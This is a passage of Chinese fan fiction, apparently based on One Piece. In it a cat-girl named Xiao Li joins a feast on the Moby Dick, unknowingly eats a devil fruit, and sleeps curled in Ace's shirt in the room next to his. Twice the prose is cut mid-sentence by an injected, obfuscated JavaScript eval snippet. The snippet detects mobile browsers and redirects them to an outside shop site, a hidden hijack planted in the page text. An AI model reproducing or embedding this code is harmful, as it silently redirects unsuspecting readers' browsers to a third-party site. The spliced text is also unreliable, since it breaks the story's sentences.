小狸抱着几乎有她上半身那么大的盘子,有些无措地站在原地。她看着周围的人们——他们毫无形象地用手抓着肉块大嚼,举着比脸还大的酒杯豪饮,一边吃一边大声谈笑,汁水顺着嘴角流下来也毫不在意。这是一种她从未见过的、充满野性和生命力的进食方式。 她犹豫了几秒,然后学着最近的人的样子,走到烤肉架旁。萨奇看见她,豪爽地大笑一声,手起刀落,切下一大块还在滋滋冒油、肉汁丰沛的、最肥嫩的腿肉,“啪”地一声放在了她的盘子里。肉块沉甸甸的,压得盘子往下一沉。 “来!小狸!尝尝这个!刚烤好的!最好吃的时候!”萨奇的声音洪亮。 小狸看着盘子里那块比她手掌还大、厚度足有两三指的、泛着诱人油光的肉块,又抬头看了看萨奇热情的笑脸。她深吸一口气,用旁边插着的叉子费力地戳起肉块,也顾不上烫,张开嘴,学着周围人的样子,大大地咬了一口。 牙齿穿透焦脆喷香的外皮,陷入柔软多汁的肉里。滚烫鲜美的肉汁瞬间在口腔里爆炸开来,混合着香料复杂的辛香和炭火独特的烟熏气息,形成一股汹涌的、令人战栗的美味洪流,冲刷过她每一个味蕾。 “唔……!” 小狸的眼睛瞬间瞪圆了,蓝色的瞳孔因为极致的味觉冲击而微微收缩。她甚至忘记了咀嚼,就那么含着那一大口肉,呆呆地站在原地,仿佛被这从未体验过的美味震撼得失去了思考能力。 原来……食物……可以好吃到这种程度吗? 和干硬粗糙、只有饱腹功能的合成面包相比,这简直是天堂和人间的区别。和艾斯偶尔带回来的、烤得半生不熟、调味简单的变异兽肉相比,这也完全是另一个维度的存在。 她机械地开始咀嚼。肉块柔软,纤维细腻,几乎不需要费力就能化开。每一下咀嚼,都释放出更多鲜美的汁水和香气。一种纯粹的、近乎本能的幸福感,像温暖的潮水,从胃部升起,迅速蔓延到四肢百骸。 她的眼睛幸福地眯成了一条缝,脸颊因为咀嚼而鼓起,像只储存食物的小仓鼠。身后那条一直因为紧张而卷着的黑色长尾巴,不知何时已经放松下来,尾巴尖甚至开始小幅度地、愉快地左右摇摆。 这幅全心全意享受美食、毫不做作的可爱模样,瞬间击中了周围所有船员的心。 “哈哈!看小狸吃得多香!” “来来来!别光吃肉!尝尝这个烤鱼!我特意留了鱼肚子最嫩的部分!” “小狸妹妹!这个贝类!用黄油和蒜蓉烤的!超级鲜!” “还有这个!这个果汁是刚榨的!解腻!” 瞬间,小狸的盘子就被各种食物堆满了。巨大的烤龙虾钳,金黄色的炸鱼排,淋着浓稠酱汁的烤肉串,堆成小山的烤蔬菜,还有颜色鲜艳得如同宝石的各式水果切片……大家争先恐后地把最好的部分往她盘子里放,仿佛投喂这只瘦弱的小猫成了一场心照不宣的比赛。 小狸来者不拒。她完全沉浸在味蕾的狂欢中,左手拿着肉,右手拿着水果,吃得毫无形象,汁水偶尔会蹭到脸颊和下巴上,她也只是随意用手背抹一下,然后继续投入战斗。她还抽空喝了一小口不知谁递给她的果汁——那是某种混合了多种水果的饮品,甜中带酸,清爽解腻——好喝得让她眼睛又亮了几分。 她那豪爽又不失可爱的吃相,和与瘦弱外表截然相反的、旺盛的食欲,迅速赢得了所有船员的喜爱和怜惜。甲板上充满了对她的关心和逗弄。 “小狸!慢点吃慢点吃!没人跟你抢!哈哈哈!” “看来艾斯在那边的世界真的虐待你了!都没给你吃过好东西吗?” “多吃点!看你瘦的!以后每天都这么吃!很快就能长肉了!” 艾斯站在她旁边,一边和萨奇勾肩搭背地喝酒,一边时不时低头看看小狸。看着她鼓着腮帮子努力咀嚼的样子,看着她眼睛因为美味而闪闪发光的样子,看着她那条尾巴欢快摇晃的样子,他的嘴角就一直没放下来过,心里被一种暖洋洋的、满足的情绪填得满满的。 这才对。他的小猫,就应该这样毫无顾忌地享受美食,享受生活,享受被家人包围的温暖。 家庭的温暖和热闹到近乎狂乱的氛围,像最柔软的羽绒,将她紧紧包裹。小狸笑着,吃着,听着周围善意的调侃和关怀,看着身边和伙伴们打闹碰杯、笑容灿烂如同朝阳的艾斯,看着高坐在巨椅上、一边豪饮一边看着儿女们微笑的白胡子…… 一切,都美好得像一场醒来就会消散的、奢侈的梦境。 但口中食物的真实味道,指尖盘子的粗糙触感,周围震耳欲聋的欢笑声,艾斯手掌偶尔拍在她肩上的温度,头顶那顶帽子上属于他的气息……所有这些细节,都在无比清晰地告诉她: 这是真的。 她真的跨越了世界,找到了他。 她真的被接纳了,被给予了“家人”的身份。 她真的……拥有了一个可以称之为“家”的地方。 一种从未有过的、近乎眩晕的幸福感和归属感,沉甸甸地落在心头,让她几乎想要落泪。但她忍住了,只是更加用力地咀嚼着口中的食物,仿佛要将这份幸福也一起吞吃入腹,牢牢地保存在身体里,这是食物,也是爱。 就在宴会气氛达到最高潮,所有人都沉浸在美食、美 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941745|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒和欢乐中时,小狸的注意力被长桌边缘的一样东西吸引了。 那是一盘被随意搁置在角落的水果拼盘。和周围那些色彩鲜艳、香气扑鼻的烤肉海鲜相比,它显得很不起眼。盘子里的水果大多奇形怪状,表皮有着奇异的花纹和凸起,颜色也偏暗沉,像是从深海或某个偏僻岛屿采集来的未知品种。 小狸的目光,被其中一个水果牢牢抓住了。 那是一个大约拳头大小的紫色果子。它的形状并不规则,表面布满了无数细小的、螺旋状的纹路,那些纹路像是活的,在宴会篝火的映照下,隐隐流转着暗沉的光泽。果皮的颜色是一种深邃的、接近黑紫的色泽,但在光线变化时,又会泛出一点诡异的、金属般的幽蓝。 不知为何,这个果子给小狸一种奇异的熟悉感。它表皮的那种不自然的纹路和暗沉色泽,让她想起了锈带那些在辐射和污染中变异生长的、形状扭曲的植物。那种介于“生命”和“非生命”之间的、带着诡异美感的形态,是她过去十六年生活中熟悉景象的一部分。 几乎是出于本能的好奇,她放下了手里吃到一半的肉串,伸出手,从水果堆的缝隙里,拿起了那个紫色的、布满螺旋纹路的果子。 果子入手微凉,表皮光滑,但那些螺旋纹路摸起来有细微的凹凸感。她放在鼻子下闻了闻——没有什么特别的味道,只有一股淡淡的、类似潮湿泥土的气息。 她犹豫了一下,看着周围没人注意她,大家要么在狂吃海喝,要么在拼酒嬉闹,又看了看手里这个让她感到莫名亲切的果子。肚子其实已经很饱了,但好奇心占据了上风。 她张开嘴,对着看起来最饱满的部分,小心地咬了下去。 牙齿穿透果皮的瞬间,一股难以形容的、极端诡异的味道,如同最恶毒的诅咒,瞬间在她口腔里爆炸开来! 那不是单纯的苦,也不是单纯的涩,而是一种混合了腐烂鱼内脏、生锈金属、苦涩药草和某种无法言喻的、仿佛来自深渊的腥臭的复合味道。那味道浓烈到具有攻击性,像无数根细针,狠狠刺向她舌头上每一个味蕾,然后顺着食道一路烧下去,直冲脑门! “噗——!咳咳!呕……” 小狸的脸色瞬间变得惨白,胃部剧烈地抽搐起来,差点当场吐出来。她猛地捂住嘴,小小的身体因为这突如其来的味觉冲击而剧烈颤抖,蓝色的眼睛里瞬间涌上了生理性的泪水,眼前阵阵发黑。 好……好难吃! 世界上怎么可能有这么难吃的东西?!比锈带过期发霉的合成营养剂还要恐怖一百倍! 她痛苦地弯下腰,干呕了几声,但嘴里那股可怕的怪味依旧顽固地盘踞着,甚至更加清晰了。她泪眼汪汪地看着手里被咬了一口的紫色果子,果肉暴露在空气中,是一种更深的、近乎黑色的紫,看起来更加不祥了。 是因为……没剥皮吗?锈带有些变异植物,难吃的部分在表皮,里面的果肉或许是甜的? 抱着最后一丝侥幸,她用颤抖的手指,费力地去剥那异常坚韧的果皮。果皮比她想象的更难剥,像是某种韧性极强的皮革,她几乎是用指甲抠,才勉强撕开一小片。露出里面的果肉——依旧是那种深紫色,质地看起来……有点胶状? 她闭着眼睛,像是赴死一样,对着剥开皮的地方,又试探性地、极小口地咬了一丁点。 “呜……!” 更强烈的、加倍的诡异味道再次席卷而来!这一次,甚至带上了一种灼烧般的刺激感,像是有细小的电流顺着舌头蔓延! 小狸整张小脸都皱成了一团,五官痛苦地挤在一起,尾巴和耳朵上的毛全部炸开,全身的肌肉都绷紧了。她拿着那个被咬了两口的果子,僵在原地,陷入了巨大的纠结。 浪费食物,在锈带是不可饶恕的罪过。任何可以入口的东西,无论味道多么糟糕,都代表着生存的机会。这个习惯已经刻进了她的骨子里。 可是……这个果子……真的……太难吃了……难吃到让她怀疑这到底是不是食物…… 继续吃?还是扔掉? 就在她盯着手里那个罪魁祸首,内心天人交战、小脸皱得像颗苦瓜的时候,旁边传来了萨奇疑惑的声音。 “嗯?小狸,怎么了?” 萨奇刚灌了一肚子酒,晕晕乎乎的转身,就看见小狸一副快要哭出来的表情,手里还拿着一个被咬了两口的、眼熟的紫色果子。他愣了一下,随即恍然大悟,挠了挠他那头乱发,哈哈笑了起来。 “怎么了,不好吃么?”他笑得没心没肺,“哈哈,那就别吃了!奇怪的水果估计都是谁看着新鲜就摆上来了,估计是什么难吃的变异品种吧!海里奇怪的东西多了去了!” 他一边说,一边很自然地伸出手,从小狸僵硬的手指间拿过那个紫色的果子,看也没看,随手就往船舷外一抛。 果子在空中划过一道抛物线,“噗通”一声,落入了外面漆黑的海水中,连个水花都没溅起多少,就消失不见了。 “来来来,别管那个了!”萨奇把手里那串香气四溢、滋滋冒油的烤鹿肉塞到小狸空出来的手里,“吃点好的!你太瘦了,得多吃肉才能长身体!” 几乎就在同时,马尔科带着点无奈的声音从另一侧传来,音量不大,却清晰地穿透了喧闹: “我刚刚说过不要再塞东西给小狸了——会肚子痛的,yoi。” 他不知何时走了过来,推了推眼镜,看着小狸手里又被塞满的盘子和萨奇递过来的新肉串,眉头微蹙。 艾斯也注意到了这边的动静,大笑着揽住萨奇的肩膀,顺手从旁边拿起一杯颜色清澈的、散发着淡淡果香的饮料,递到小狸嘴边。 小狸如蒙大赦,赶紧就着艾斯的手,大口大口地灌下清凉甘甜的果汁。冰凉甜美的液体冲刷过口腔,终于将那恐怖的怪味冲淡了一些。她长长地舒了一口气,感觉自己又活过来了。 至于那个被扔进海里的、难吃得要命的紫色果子,和它带来的那点不愉快的小插曲,很快就被她抛到了脑后。宴会的喧嚣再次将她包围,新的美食被送到眼前,艾斯温暖的手掌揉着她的头发,周围是家人们善意的笑声…… 她重新沉浸在找到归宿的巨大幸福中,享受着这艘巨船上最纯粹的、毫无保留的温暖与喧嚣。 她并不知道,就在她咬下那两口果子的瞬间,一股奇异的力量已经悄无声息地钻进了她的身体深处,潜伏下来,等待着被唤醒的时机。 那个难吃得让她差点怀疑人生的紫色果子,正是名为“复制果实”的恶魔果实。大海的秘宝,蕴含着不可思议规则力量的禁忌之物。 而此刻,新生的能力者,对此还一无所知。 她只是觉得,嘴里似乎还残留着一丝若有若无的、古怪的金属余味,但很快就被更多美味的食物和欢乐的气氛掩盖了。 宴会还在继续。 星空低垂,如天鹅绒幕布上洒满了碎钻,倒映在下方平静深黑的海面上,仿佛有上下两个星空在交相辉映。莫比迪克号如同一座移动的、灯火通明的欢乐岛屿,航行在这片星海之间。甲板上的篝火跳跃,将每一个欢笑的脸庞映照得温暖明亮,欢快的音乐和豪迈的歌声随着海风飘向远方。 这艘承载着传奇、自由与家族信念的巨船,在今夜,又多了一份来自异世界的、纤细却坚韧的牵挂。 新的家人已经登船。 新的故事,正随着航向,徐徐展开。 而命运的齿轮,在无人察觉的角落,发出了轻微却坚定的、转向新轨道的“咔哒”声。 19. 守护 宴会的狂欢在马尔科真的喝大了的那一刻,攀上了不可思议的巅峰。 当一向沉稳冷静、仿佛永远睡不醒的一番队队长,脸颊罕见地泛着红晕,脚步略显虚浮地走到甲板中央,然后在一众船员起哄的“呦吼”声中,周身“呼”地燃起青蓝色火焰、化作不死鸟形态摇摇晃晃地腾空而起时,整个莫比迪克号都沸腾了! “马尔科队长!来一个!” “烟花!烟花!” 不死鸟形态的马尔科似乎也彻底放开了,他发出一声清越的长鸣虽然尾音有点飘,双翼猛地一振,数团硕大而炽烈的青炎火球如同挣脱束缚的彗星,呼啸着射向深邃的夜空! 火球在最高点轰然炸开,迸发出漫天绚烂夺目的青蓝色光雨,像一场逆向的流星雨,将整片海域和莫比迪克号照耀得如同白昼。只是那炸开的图案……嗯,有点歪歪扭扭,一颗像扭曲的菠萝,另一颗像喝醉了的海星,但这丝毫不影响其震撼效果。 “哈哈!看我的!” 艾斯岂会错过这种热闹?他大笑着上前一步,仰头望着漫天青炎,右手五指张开,向前一送。刹那间,一串串灵动雀跃的橘红色火焰如同被赋予了生命,从他掌心鱼贯而出。它们不像马尔科的青炎那样气势磅礴,却更加灵活精巧,像一群顽皮的火精灵,追逐着、缠绕着、点缀着空中的青炎,橘红与青蓝交织共舞,在夜空中绘制出梦幻迷离、无法复刻的光之画卷,美得令人窒息。 比斯塔不甘示弱,优雅地抽出双刀。寒光一闪,众人甚至没看清他的动作,烤架上那块最大的、油光发亮的兽腿肉便已飞上半空。双刀化作一片令人眼花缭乱的银色光幕,只听得一阵密集如雨打芭蕉的细微声响,肉块尚未落地,便在空中散开,化作无数片薄如蝉翼、大小均匀、几乎透明的肉片。这些肉片并非胡乱飘散,而是在比斯塔精妙绝伦的刀气控制下,缓缓旋转、层叠,最终在半空中拼凑成一朵巨大而栩栩如生的、正在“绽放”的红色玫瑰花! “哦哦哦哦——!!!”甲板上爆发出雷鸣般的喝彩和口哨声。 小狸被这接二连三、如同魔法神迹般的狂欢彻底震撼了,几乎忘记了呼吸。她明明一滴酒都没沾,小脸却因为极致的兴奋和周围滚烫的气氛涨得通红,像是熟透的苹果。那双蔚蓝色的猫瞳睁得圆溜溜的,里面清晰地倒映着漫天飞舞的火焰华彩、缓缓旋转的肉片玫瑰,还有周围每一张洋溢着纯粹快乐和豪迈的笑脸。光影在她清澈的瞳孔里流转,仿佛将整个宴会的辉煌都收纳进了眼底。 当起哄的浪潮不可避免地席卷到她这里,众人拍着手齐声喊“小狸!来一个!”时,她羞赧得耳朵尖都在发烫,手足无措地看向艾斯。艾斯冲她鼓励地眨眨眼,做了个“你可以”的口型。 深吸一口气,压下砰砰乱跳的心脏,小狸在一片善意的注视中,身形轻轻一晃,“噗”地变回了那只通体漆黑的猫咪。 小黑猫甩了甩尾巴,仰头看了看高耸的桅杆和纵横交错的缆绳。下一刻,她动了。 娇小的黑色身影如同一道没有重量的影子,轻盈地跃上最近的一根缆绳。缆绳在夜风中微微晃动,她却如履平地,四只爪子精准地扣住绳索,身体保持绝佳的平衡,甚至还有余暇回头望了望众人。 然后,她开始加速。 奔跑、跳跃、旋转……她在错综复杂的桅杆和绳索间穿梭,动作流畅得如同流淌的墨汁。时而沿着倾斜的帆桁疾走,时而在两根晃动的缆绳间凌空飞跃,划出惊险又优美的弧线;时而又用尾巴勾住横杆,整个身体倒悬下来,灵巧地避开障碍。猫科动物与生俱来的平衡感、柔韧性和敏捷在她身上展现得淋漓尽致,那不是训练出的技巧,而是刻在基因里的本能舞蹈。 最后,她停在了主桅最高处的一个小小平台上,俯视着下方甲板上为她欢呼鼓掌的人们,昂起小巧的脑袋,发出一声清脆的:“喵~” “好!!!” “太厉害了!小狸!” 掌声、笑声、喝彩声几乎要将她淹没。艾斯笑得最大声,用力地拍着手,脸上的自豪几乎要溢出来。 这一刻,站在高高的桅杆上,被温暖的目光和善意的声浪托举着,小狸清晰地感受到,那层包裹了她十六年的、名为“异类”和“孤独”的坚硬外壳,正在这前所未有的热烈与接纳中,悄然融化。 她不再是锈带深处无人问津的野猫,不再是实验室里冰冷的编号5224。 她是小狸。是白胡子海贼团备受宠爱的新成员,是艾斯重要的妹妹,是他们所有人愿意用掌声和欢笑迎接的——家人。 --- 狂欢的浪潮再汹涌,也终有平息之时。 夜渐渐深了,海风带来凉意。酒精和疲惫开始发挥作用,喝得东倒西歪的船员们勾肩搭背、哼着荒腔走板的小调,互相搀扶着,踉踉跄跄地回到各自的舱室。甲板上渐渐安静下来,只剩下篝火余烬偶尔发出的“噼啪”轻响,海浪温柔拍打船身的、有节奏的哗哗声,在甲板倒头就睡的酒鬼们的鼾声以及远处守夜船员规律而轻微的脚步声。 热闹褪去,一种宁静的疲惫感弥漫开来。这时,一个非常现实、却被人忽略的问题,摆在了尚未离开甲板的几人面前—— 小狸,今晚住哪里? 艾斯很自然地伸出手,想要拉住小狸的手腕带她回自己房间,动作熟稔得如同呼吸。在他看来,这简直天经地义,理所当然。之前在那间锈带诊所,不也是一起住的吗?虽然是他睡沙发她睡床,或者后来她变猫蜷在任何地方,但总归是在同一个屋檐下,共享着彼此的呼吸和温度。那是他熟悉的模式,让他安心的距离。 “等等,艾斯。” 马尔科的声音适时响起,带着一丝无奈,更多的是不容置疑的常识性坚持。他揉了揉眉心,似乎对艾斯这种理所当然感到头痛。他挡在两人之间,目光在艾斯茫然的脸和小狸懵懂的表情之间扫过。 “小狸是女孩子,”马尔科一字一句,清晰地说道,“怎么能和你住一个房间?” “诶?”艾斯愣住了,眉头困惑地拧起,满脸写着“为什么不行”,“之前我们不也是一起……” 他试图用过去的经验来反驳。 “之前是情况特殊,而且只有你们两个人,在异世界。”马尔科不容置疑地打断他,语气带着一种“跟你这单细胞生物解释常识真费劲”的无奈,“现在是在莫比迪克号上,是在我们的家。女孩子当然要有自己独立的、私密的空间。这是基本的常识。” 他转向小狸,放缓了语气,试图用她能理解的方式解释:“小狸,听着。你是女孩子,我们是男生。晚上休息的时候,需要保持适当的距离和独立的空间,明白吗?” 小狸的猫耳困惑地抖了抖,微微向后撇。在她的概念里,猫科动物和信任的同伴挤在一起取暖、分享巢穴是天经地义的事情,这和是公是母、是男是女没什么关系。安全感来源于气息和温度,而非一堵墙。她下意识地看向艾斯,蓝色的眼睛里流露出显而易见的求助和一丝委屈,声音小小的:“可是……我想和艾斯一起……我一个人会……” 会冷。会害怕。会想起那些空荡荡的、只有自己的长夜。 艾斯看到她那依赖又不安的眼神,心瞬间软成一滩水,刚想开口帮腔——“马尔科,其实……”——就被马尔科一个冷静又严厉的眼刀瞪了回来。 “不行就是不行。”马尔科的态度没有丝毫转圜余地,他指了指走廊方向,“艾斯隔壁的房间正好空着,已经简单收拾过了。小狸,你今晚就住那里。”他的语气缓和下来,但原则不变,“很近,就在隔壁,有什么事情喊一声艾斯也能立刻听到。但是要记住,这是你的房间,你要慢慢习惯。不能随便跑到男生房间过夜,这是规矩,也是为了你好。明白吗?” 小狸看着马尔科严肃认真的表情,又偷偷瞄了瞄似乎也被“规矩”压住、无法反驳的艾斯,知道事情没有转机了。她扁了扁嘴,像只被雨淋湿的小猫,黑色的猫耳和长尾巴都耷拉下来,失去了所有精神,闷闷地、极小声地应道:“……哦,知道了。” 那模样,委屈得让人心尖发颤。 之后,小狸被船上一位名叫米娅的女性船员带去洗漱。米娅有着一头耀眼如阳光的金色波浪长发,身材火辣,性格却意外地温柔细心——至少在对待小狸时是这样。 当米娅看到小狸头发里夹杂的木屑、灰尘,还有身上那件明显不合身、脏兮兮的异世界衣物时,漂亮的眉毛立刻竖了起来。 “那些男人!一个个都是粗心大意的笨蛋吗?!”她一边调着水温,一边忍不住抱怨,语气带着真切的恼怒,“居然就让小姑娘顶着这一头灰扑扑的头发,穿着这样的衣服待了这么久!艾斯那小子也是!光顾着自己高兴了!” 小狸被米娅轻轻拉进宽敞的、充满蒸腾热气的浴室,还有些拘谨。但当温热的水流从花洒中淋下,冲刷过她紧绷的皮肤和头发时,一种难以言喻的舒适感瞬间包裹了她。她忍不住发出一声细微的喟叹。 米娅的动作非常轻柔,她挤出散发着清香的、泡沫丰富的香波,仔细地揉搓着小狸的黑发。细腻的泡沫堆积起来,像顶着一朵柔软的云。小狸闭着眼睛,感受着指尖在头皮上温柔按摩的力度,温热的水流滑过背脊,带走所有疲惫和尘埃。泡澡……原来是这么舒服的一件事吗?在锈带,干净的水是珍贵的资源,洗澡通常是快速而冰冷的擦拭。这种全身心沉浸在水中的温暖和放松,是她从未体验过的奢侈。 “小狸呀,”米娅一边帮她冲洗头发上的泡沫,一边用温柔的声音说,“我叫米娅,你可以叫我米娅姐姐。”她用柔软的毛巾轻轻包裹住小狸的头发,拿起梳子,开始仔细地梳理那些微卷的发丝,动作耐心又轻柔。 “艾斯那个笨蛋,是我们的二番队队长。”米娅的语气带着点亲昵的抱怨,“那小子热血、冲动,有时候莽撞得让人头疼。这段时间,真是辛苦你照顾他了。” 小狸被舒适的热水和温柔的对待弄得晕乎乎的,像一只被顺毛顺到极致的猫,喉咙里不自觉发出细小而满足的哼哼声。她迷迷糊糊地摇头,想为艾斯辩解,却过于享受脑子一片混沌,组织不起语言。 米娅看着她这副乖巧又懵懂的样子,心都要化了。哪里还顾得上抱怨艾斯,满心满眼都是这个精致得像个瓷娃娃、却又瘦弱得让人心疼的少女。她忍不住一把将擦干身体、裹着大浴巾的小狸搂进怀里,用力蹭了蹭她刚洗干净的、散发着清新香气的头发。 “呜——小狸好可爱~!以后姐姐疼你!” 小狸被这过于热情的拥抱弄得有点懵,但米娅姐姐身上传来的、和艾斯他们截然不同的、柔软温暖的馨香,让她并不排斥。 当米娅牵着洗得干干净净、浑身香喷喷、穿着临时找来的稍显宽大但柔软干净的睡裙的小狸回到甲板附近时,正好撞见在走廊里等着的艾斯。 米娅立刻变脸,狠狠剜了艾斯一眼。 “艾斯!你看看!”她把小狸往前带了带,指着小狸虽然干净但依旧过分纤细的手腕和苍白的小脸,“小狸到底跟你过的什么日子啊?!好好的姑娘,瘦得像只没吃饱的小鸡崽!你就这么照顾人的?!” 艾斯被训得一愣,下意识地缩了缩脖子,有点理亏地摸了摸鼻子。小狸见状,急忙抓住米娅的手指,急切地想为艾斯辩解:“不,不是的,米娅姐姐,是我不……” “你不用替他说话!”米娅打断她,语气斩钉截铁,但握着小狸的手却很温柔,“跟你没关系。是他这个当哥哥的没尽到责任!”她又瞪向艾斯,“我警告你艾斯,你要是再这么不靠谱,照顾不好小狸,我就跟老爹申请,把她带到我那去养!保证把她养得白白胖胖、健健康康的!” 艾斯和小狸同时瞪大了眼睛,像是听到什么可怕的事情,异口同声:“不要!” 看着两人如出一辙的慌张表情和低着脑袋不敢吱声的挨训模样,一直靠在旁边看戏的丢斯终于觉得自己作为艾斯最好的兄弟,米娅的男友兼现场唯一可能缓和气氛的人,有义务站出来了。 他干咳一声,走上前,揽住米娅的肩膀,温声劝道:“好啦好啦,米娅,消消气。小狸和艾斯毕竟这么久没见了,今天又是重逢的大日子,给他们一点独处的时间说说话,好吗?”他一边说,一边巧妙地将还气鼓鼓的米娅往另一边带,“走了走了,我陪你去看星星,今天的星空特别美……” 米娅显然还没完全消气,被丢斯架着离开时,还不忘一步三回头,冲着艾斯做了个凶狠的鬼脸,又狠狠踩了丢斯一脚,才愤愤不平地跟着走了。 走廊里终于恢复了安静。 小狸松了口气,但经过热水澡的彻底放松,以及看到艾斯安然无恙就在眼前的安心感,白天积累的疲惫、穿越的震荡、宴会的兴奋,此刻如同退潮后显露的礁石,沉沉地压了上来。 她站在那里,眼皮开始不受控制地打架,小脑袋一点一点的,这次还真像只困极了的小鸡崽,硬撑着睁大眼睛,紧紧盯着艾斯,仿佛怕一闭眼,他就不见了。 艾斯看着她这副强打精神却又摇摇欲坠的模样,心里又是好笑,又是涌起一阵绵软的心疼。他走上前,接过毛巾擦了擦她还微湿的发顶,声音不自觉地放得又轻又柔:“我不会走的,小狸。我们以后有很多、很多的时间在一起。” 他顿了顿,看着她又努力睁大的蓝眼睛,补充道:“所以今天,先好好休息,好不好?你需要睡眠。” 小狸其实已经困得有点迷糊了,艾斯的声音像隔着温暖的水传来。她努力理解着他的话,然后慢慢地、不情愿地点了点头,眼睛却还留恋地望着他。 最后,在艾斯温和但坚持的注视下,她才一步三回头地、慢吞吞地挪向那个分配给她的、位于艾斯隔壁的陌生房间。 推开门的瞬间,一种熟悉的、令人窒息的冷清感扑面而来。 房间不大,但很整洁。一张床,一张桌子,一把椅子,一个柜子。窗户关着,月光被玻璃过滤后,冷冷地洒在地板上。所有的东西都摆得整整齐齐,没有使用过的痕迹,充满了陌生的、属于船舱本身的味道——木头、油漆、淡淡的防虫药草味。 没有艾斯的气息。没有诊所里那种混合着消毒水、机油、烟草和她自己味道的“巢穴”感。 小狸站在房间中央,环顾四周,感到一阵强烈的失落和莫名的恐慌,仿佛又被独自抛回了一个冰冷空旷的盒子。鼻子酸酸的,她用力吸了吸,把那股委屈压下去。 然后,她像是忽然想起了什么,眼睛微微一亮。她快步走到床边,从自己那个随身携带的、瘪瘪的小背包里,窸窸窣窣地翻找起来。 很快,她掏出了一件匆忙塞进包里的衣物。那是艾斯的那件旧衬衫,明亮的橙色,对她来说大得离谱。她小心翼翼地将衬衫抖开,铺在了床上 阳光、火焰、还有淡淡的独属于艾斯的、让人安心的温暖气息,瞬间充盈了她的鼻腔和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16941746|192958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胸腔。 是那个时候……艾斯去和老爹说话时,披在她肩上那件。她不知何时,偷偷地、仔细地把它叠好,藏进了自己的包里。 抱着这件充满熟悉气息的衬衫,小狸脸上终于露出了一点安心的、近乎狡黠的浅笑。她爬上床,将衬衫在床上摊开,用手耐心地扒拉、拱动,将它弄成一个松松的、窝状的凹陷。然后,她轻盈地变回通体漆黑的猫咪形态,跳进那个“窝”里,将自己柔软的身体小心翼翼地蜷缩进去。 她把脸颊和整个上半身都埋进残留着艾斯气味的柔软布料中,尾巴绕到身前,圈住自己。熟悉的温暖和气息如同最有效的安眠药,迅速将她包裹。 几乎就在团好的下一秒,细微而平稳的、带着满足感的呼噜声,便从那个用衬衫筑成的小小巢穴里,轻轻响了起来。 --- 另一边,艾斯躺在自己房间的床上,却辗转反侧,毫无睡意。 最初的狂喜和兴奋如同退潮的海水,缓缓平息之后,一种不真实的虚幻感,如同海底的暗流,悄然浮上心头。 小狸……真的来了吗?此时此刻,就在他隔壁的那个房间里? 这一切,会不会是他思念过度,在宴会醉酒后做的一个过于美好、细节过于真实的梦境?会不会明天清晨睁开眼,依旧只有他一个人,窗外依旧是那片永恒的大海,而那个有着猫耳和蓝眼睛的身影,只是他臆想出来的泡影? 一想到那个可能性——醒来后面对空寂,发现所有的温暖和重逢都只是一场空——艾斯的心就像是被一只冰冷的手狠狠攥紧,传来一阵尖锐的、几乎让他窒息的恐慌。他猛地从床上坐起,额角渗出细微的冷汗。 隔壁房间安静得没有一点声息。 她睡着了吗?在那样一个完全陌生的房间里,她会不会害怕?会不会觉得冷?会不会……像他一样,因为不安而无法入睡? 各种念头如同沸水里的气泡,在他脑海中翻腾不休,搅得他心神不宁。他终于无法再躺下去,像是被无形的线牵引着,悄无声息地爬了起来。 他赤着脚,踩在微凉的木质地板上,没有发出丝毫声音。像一个熟练的潜行者,或者更像一个心虚的小偷,他轻轻拧开自己房门的把手,侧身溜到走廊上,然后屏住呼吸,蹑手蹑脚地挪到隔壁房间的门口。 门没有锁死,留着一条细细的缝隙,艾斯的心脏在胸腔里擂鼓般跳动,他微微俯身,将眼睛凑近那条缝隙,小心翼翼地朝里面望去。 月光,如水银般静谧地透过圆形的舷窗流淌进来,在昏暗的房间里切割出一片温柔的银白色区域,恰好照亮了床铺的一角。 就在那片清辉之中,他看到了。 那只小小的、通体漆黑的猫咪,正蜷缩在一团明亮的橙色布料里——那是他的衬衫。她睡得很沉,小小的身体随着悠长而平稳的呼吸微微起伏,勾勒出柔软的弧度。黑色的耳朵在睡梦中偶尔无意识地抖动一下,粉嫩的鼻尖轻轻翕动,仿佛在梦里还在嗅闻着熟悉的气息。那条黑色的长尾巴松松地圈在身侧,尾尖偶尔极其轻微地颤一颤。 她用自己的方式,在他的衣物筑成的巢穴里,找到了安全感,沉入了无梦的深眠。 看到这无比真实、无比具体、又无比温馨的一幕,艾斯心中所有翻腾的不安、虚幻的恐惧、患得患失的焦虑,都在这一瞬间,烟消云散。 取而代之的,是一种难以言喻的、饱胀的幸福感,像温暖的潮水,从心底最深处涌起,迅速蔓延至四肢百骸,将他整个人温柔地浸泡其中。暖暖的,满满的,沉甸甸的。 原来,被人如此全心全意地信赖和需要着的感觉,是这样的。 原来,在这个广阔无垠、时而残酷的世界上,有一个小小的生命,会将你的气息视为安眠的港湾。 他就那样静静地站在门外,一动不动,借着门缝里透出的月光,贪婪地、专注地看着那个安睡的小小身影。嘴角不知何时,已经扬起了一个温柔至极的、近乎傻气的弧度。时间仿佛失去了意义,他愿意就这样一直看下去。 “喂,艾斯队长,”一个压低的、带着明显戏谑笑意的声音,突然从走廊另一头的阴影里传来,是值夜巡逻的船员,他显然已经观察了一会儿,“大半夜不睡觉,在这里当门神啊?” 